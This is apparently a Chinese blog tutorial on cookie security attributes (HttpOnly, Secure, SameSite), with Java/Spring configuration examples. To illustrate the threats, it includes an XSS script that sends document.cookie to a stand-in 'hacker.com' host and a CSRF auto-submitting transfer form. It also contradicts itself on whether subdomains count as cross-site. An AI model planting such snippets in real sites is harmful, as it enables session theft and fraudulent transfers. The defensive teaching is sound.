cookie中的 HttpOnly 、Secure、SameSite 解释
最近再弄网站的安全,被大神指点了下,要设置 cookie的 httpOnly和 Secure这俩属性:
Secure 是 Cookie 的安全属性,控制 Cookie 的传输方式。
Secure=true → Cookie 只能通过 HTTPS 传输 Secure=false → Cookie 可以通过 HTTP 或 HTTPS 传输
浏览器发送 Cookie 的场景: ═══════════════════════════════════════════════════ 请求地址 Secure=true Secure=false ─────────────────────────────────────────────────── https://site.com ✅ 发送 Cookie ✅ 发送 Cookie http://site.com ❌ 不发送 Cookie ✅ 发送 Cookie
关键:浏览器判断的是当前页面/请求的协议,不是 Cookie 从哪来的。
为什么需要 Secure
攻击场景(中间人攻击): ═══════════════════════════════════════════════════ 用户 ──HTTP──► 攻击者 ──HTTPS──► 银行网站 (明文) (窃听) (安全) 如果没有 Secure: 1. 用户登录银行,银行设置 Cookie: sessionId=xxx; Secure=false 2. 攻击者窃听 HTTP 流量,看到 sessionId=xxx 3. 攻击者用 sessionId 冒充用户操作银行 如果有 Secure: 1. 银行设置 Cookie: sessionId=xxx; Secure=true 2. 用户访问 http://银行.com(被劫持) 3. 浏览器**不发送** sessionId Cookie 4. 攻击者拿不到 sessionId,无法冒充
代码设置
// Java Servlet Cookie c = new Cookie("sessionId", "xxx"); c.setSecure(true); // 仅 HTTPS 传输 response.addCookie(c); // Spring ResponseCookie ResponseCookie c = ResponseCookie.from("sessionId", "xxx") .secure(true) // 仅 HTTPS .build();
| 问题 | 原因 | 解决 | | ---------------------------- | -------------------------- | -------------------------------------- | | 设置了 Secure=true,但登录后没 Cookie | 用 HTTP 访问,浏览器不发送 | 改用 HTTPS,或开发环境设 `Secure=false` | | 开发环境无法保持登录 | 本地是 HTTP,Secure Cookie 被忽略 | `c.setSecure(request.isSecure())` 动态判断 | | 混合内容警告 | 页面是 HTTP,但请求 HTTPS 资源 | 全站 HTTPS |
最佳实践
// 生产环境:强制 HTTPS + Secure Cookie Cookie c = new Cookie("sessionId", id); c.setSecure(true); c.setHttpOnly(true); // 同时防 XSS // 开发环境:自适应 Cookie c = new Cookie("sessionId", id); c.setSecure(request.isSecure()); // HTTP=false, HTTPS=true
HttpOnly 是 Cookie 的安全属性,防止 JavaScript 访问 Cookie,抵御 XSS(跨站脚本攻击)。
基本含义
HttpOnly=true → Cookie 只能通过 HTTP/HTTPS 传输,JavaScript 无法读取 HttpOnly=false → JavaScript 可以读取和修改 Cookie
攻击场景对比
❌ 没有 HttpOnly(容易被盗)
攻击步骤(XSS 攻击): ═══════════════════════════════════════════════════ 1. 黑客在网站评论区注入恶意脚本: <script> // 读取用户 Cookie var stolen = document.cookie; // 发送到黑客服务器 fetch('http:// hacker.com/steal?data=' + stolen); </script> 2. 用户浏览评论区,脚本执行 3. document.cookie 返回: "sessionId=abc123; userToken=xyz789; ..." 4. 黑客拿到 sessionId,冒充用户登录! 被盗的 Cookie: ┌─────────────┬──────────┬──────────┐ │ sessionId │ 用户身份 │ 可被窃取 │ │ userToken │ 支付令牌 │ 可被窃取 │ │ 所有 Cookie │ 全部暴露 │ 危险! │ └─────────────┴──────────┴──────────┘
✅ 有 HttpOnly(安全)
同样的攻击: ═══════════════════════════════════════════════════ 1. 黑客注入脚本:<script>alert(document.cookie)</script> 2. 用户浏览,脚本执行 3. document.cookie 返回: "" ← 空字符串!HttpOnly Cookie 不可见 4. 黑客只拿到非敏感 Cookie: "uiTheme=dark; lastVisit=2024" ← 无关紧要的 5. sessionId 是 HttpOnly,JavaScript 完全接触不到
工作原理
浏览器内部隔离: ═══════════════════════════════════════════════════ ┌─────────────────────────────────────────┐ │ JavaScript 执行环境 │ │ ┌─────────────────────────────────┐ │ │ │ document.cookie → 读取 │ │ │ │ document.cookie = "xxx" → 写入 │ │ │ └─────────────────────────────────┘ │ │ ↓ 只能访问非 HttpOnly │ ├─────────────────────────────────────────┤ ← 隔离墙 │ HTTP 网络层 │ │ ┌─────────────────────────────────┐ │ │ │ Cookie: sessionId=xxx (HttpOnly)│ │ ← 自动附加 │ │ Cookie: theme=dark (非 HttpOnly)│ │ ← 自动附加 │ └─────────────────────────────────┘ │ │ ↑ 所有 Cookie 都在这里 │ └─────────────────────────────────────────┘ 关键:HttpOnly Cookie 对 JS 不可见,但 HTTP 请求自动发送
代码设置
// Java Servlet Cookie c = new Cookie("sessionId", "xxx"); c.setHttpOnly(true); // 禁止 JavaScript 访问 c.setSecure(true); // 同时仅 HTTPS 传输(黄金组合) response.addCookie(c); // Spring ResponseCookie(推荐) ResponseCookie c = ResponseCookie.from("sessionId", "xxx") .httpOnly(true) // 禁止 JS .secure(true) // 仅 HTTPS .sameSite("Strict") // 防 CSRF .build();
哪些 Cookie 需要 HttpOnly
| Cookie 类型 | 需要 HttpOnly | 原因 | | -------------- | ----------- | --------------- | | **Session ID** | ✅ 必须 | 身份凭证,被盗=账号被接管 | | **JWT Token** | ✅ 必须 | 登录凭证 | | **支付令牌** | ✅ 必须 | 金融安全 | | **用户偏好** | ❌ 可选 | 主题、语言,可被 JS 读取 | | **追踪 ID** | ❌ 可选 | 分析统计,通常需要 JS 访问 |
常见误区
误区 1:HttpOnly 防止 Cookie 被发送到服务器 ❌ 错误!HttpOnly Cookie 依然会随 HTTP 请求自动发送 ✅ 它只是对 JavaScript 隐藏 误区 2:HttpOnly 防止网络窃听 ❌ 错误!HttpOnly 不加密传输 ✅ 需要配合 Secure(HTTPS)才能防窃听 误区 3:设置了 HttpOnly 就绝对安全 ❌ 错误!XSS 还能做其他坏事(钓鱼、挖矿等) ✅ HttpOnly 只是防御层之一
安全最佳实践(黄金组合)
// 登录凭证 Cookie 的标准配置 Cookie session = new Cookie("JSESSIONID", id); session.setHttpOnly(true); // 防 XSS 窃取 session.setSecure(true); // 防网络窃听(仅 HTTPS) session.setPath("/"); // 全站有效 session.setMaxAge(1800); // 30分钟过期 response.addCookie(session); // 非敏感 Cookie(可被 JS 读取) Cookie theme = new Cookie("theme", "dark"); theme.setHttpOnly(false); // 允许 JS 修改主题 response.addCookie(theme);
HttpOnly vs Secure 对比
| 属性 | 防护对象 | 攻击类型 | 作用位置 | | ------------ | ---------- | ------- | ---------- | | **HttpOnly** | JavaScript | XSS 攻击 | 浏览器内部隔离 | | **Secure** | 网络传输 | 中间人窃听 | HTTPS 加密通道 | | **SameSite** | 跨站请求 | CSRF 攻击 | 请求来源控制 |
三者一起用 = 完整的 Cookie 安全防护
SameSite 是 Cookie 的安全属性,控制 Cookie 在跨站请求中的发送行为,防止 CSRF(跨站请求伪造) 攻击
三种取值
| 值 | 含义 | 跨站请求时 | | ---------- | ------ | ---------------- | | **Strict** | 最严格 | 完全禁止发送 Cookie | | **Lax** | 宽松(默认) | 部分安全请求发送 | | **None** | 无限制 | 总是发送(需配合 Secure) |
什么是"跨站"
判定规则(简化版): ═══════════════════════════════════════════════════ 当前页面 请求目标 是否跨站 ─────────────────────────────────────────────────── https://a.com https://a.com 同站 ✅ https://a.com https://b.com 跨站 ❌ https://a.com http://a.com 跨站 ❌(协议不同) 注意:顶级域名相同但子域不同也算跨站 https://www.a.com vs https://api.a.com → 同站(现代浏览器放宽) https://a.com vs https://b.com → 跨站
三种模式详解
1. SameSite=Strict(最安全)
场景:用户已登录银行网站 a.com
═══════════════════════════════════════════════════
当前在 a.com 页面:
点击链接 → b.com → 跳转回 a.com
此时 a.com 的 Cookie ✅ 会发送(同站导航)
当前在 b.com 页面:
点击链接 → a.com
此时 a.com 的 Cookie ❌ 不会发送!Strict 禁止所有跨站
结果:从外部进入银行网站,需要重新登录
优点:彻底防 CSRF
缺点:用户体验稍差(直接跳转需重新登录)
2. SameSite=Lax(平衡,推荐)
场景同上,但行为更宽松: ═══════════════════════════════════════════════════ 在 b.com 页面操作: ┌─────────────────┬─────────────────┬─────────────────┐ │ 操作类型 │ 是否发送 Cookie │ 示例 │ ├─────────────────┼─────────────────┼─────────────────┤ │ 点击 <a> 链接 │ ✅ 发送 │ 正常跳转 │ │ GET 表单提交 │ ✅ 发送 │ 搜索框 │ │ POST 表单提交 │ ❌ 不发送 │ 转账表单 ✓防CSRF │ │ AJAX/Fetch │ ❌ 不发送 │ 异步请求 │ │ <img> 加载 │ ❌ 不发送 │ 追踪像素 │ │ <iframe> 嵌入 │ ❌ 不发送 │ 嵌套页面 │ └─────────────────┴─────────────────┴─────────────────┘ 结果:正常使用流畅,危险操作(POST/异步)被阻止
3. SameSite=None(兼容旧系统)
要求: - 必须同时设置 Secure=true(仅 HTTPS) - 允许所有跨站请求发送 Cookie 场景: - 单点登录(SSO) - 第三方嵌入(支付、地图、分析) - 跨域 API 调用 风险: - 完全暴露给 CSRF 攻击 - 需额外防御(Token 验证等)
CSRF 攻击原理与防护
攻击场景(没有 SameSite)
攻击步骤: ═══════════════════════════════════════════════════ 1. 用户登录银行 a.com,Cookie: sessionId=xxx(自动保存) 2. 用户访问恶意网站 b.com,页面包含: <form action="https://a.com/transfer" method="POST"> <input name="to" value="hacker_account"> <input name="amount" value="10000"> </form> <script>document.forms[0].submit()</script> 3. 表单自动提交到 a.com 4. 浏览器自动附加 Cookie: sessionId=xxx 5. 银行服务器验证 sessionId 有效 → 执行转账! 6. 用户钱被转走,但完全不知情
SameSite=Lax 阻止攻击
同样的攻击: ═══════════════════════════════════════════════════ 1. 用户在 b.com,表单 POST 到 a.com 2. 浏览器检查:b.com → a.com 是跨站 3. SameSite=Lax 规则:POST 请求 ❌ 不发送 Cookie 4. 请求到达 a.com,但没有 sessionId 5. 银行返回:未登录,拒绝操作 6. 攻击失败!
代码设置
// Spring ResponseCookie(推荐) ResponseCookie c = ResponseCookie.from("sessionId", "xxx") .httpOnly(true) // 防 XSS .secure(true) // 仅 HTTPS .sameSite("Lax") // 防 CSRF(推荐) .build(); response.addHeader(HttpHeaders.SET_COOKIE, c.toString()); // 生成的 Set-Cookie 头: // Set-Cookie: sessionId=xxx; HttpOnly; Secure; SameSite=Lax
传统 Servlet Cookie 不支持 SameSite,必须手动构造:
// 手动构造(如果不用 Spring) String cookie = String.format( "sessionId=%s; Path=/; HttpOnly; Secure; SameSite=Lax", sessionId ); response.addHeader("Set-Cookie", cookie);
浏览器默认值变化
时间线: ═══════════════════════════════════════════════════ 2016 年之前:SameSite=None(无限制,危险) 2019 年 Chrome 77:未指定默认 SameSite=Lax 2020 年 2 月:Chrome 80 强制实施 2021 年起:现代浏览器全部默认 Lax 影响: - 旧代码没设 SameSite,以前能跨站,现在可能失效 - 必须显式设置 SameSite=None 才能恢复跨站行为
实际配置建议
@Configuration public class CookieConfig { // 普通业务 Cookie(防 CSRF) public static ResponseCookie strictCookie(String name, String value) { return ResponseCookie.from(name, value) .httpOnly(true) .secure(true) .sameSite("Lax") // 默认,平衡安全与体验 .path("/") .maxAge(Duration.ofMinutes(30)) .build(); } // 单点登录/第三方集成 Cookie(需跨站) public static ResponseCookie crossSiteCookie(String name, String value) { return ResponseCookie.from(name, value) .httpOnly(true) .secure(true) // None 必须 Secure .sameSite("None") // 允许跨站 .path("/") .maxAge(Duration.ofHours(1)) .build(); } }
四属性安全总结
| 属性 | 防护 | 攻击类型 | 必备? | | ------------ | ------- | ---- | ---- | | **HttpOnly** | 防 JS 读取 | XSS | ✅ 必须 | | **Secure** | 防网络窃听 | 中间人 | ✅ 必须 | | **SameSite** | 防跨站伪造 | CSRF | ✅ 必须 | | **Max-Age** | 防长期有效 | 会话劫持 | 建议设置 |
黄金组合:
Set-Cookie: sessionId=xxx; Path=/; Max-Age=1800; HttpOnly; Secure; SameSite=Lax
这四个属性一起,构成现代 Web 安全的 Cookie 标准。
浙公网安备 33010602011771号